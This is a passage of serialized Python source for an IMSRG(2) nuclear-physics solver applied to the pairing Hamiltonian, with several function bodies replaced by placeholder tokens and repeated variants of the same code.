np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\n<function token>\n\n\ndef 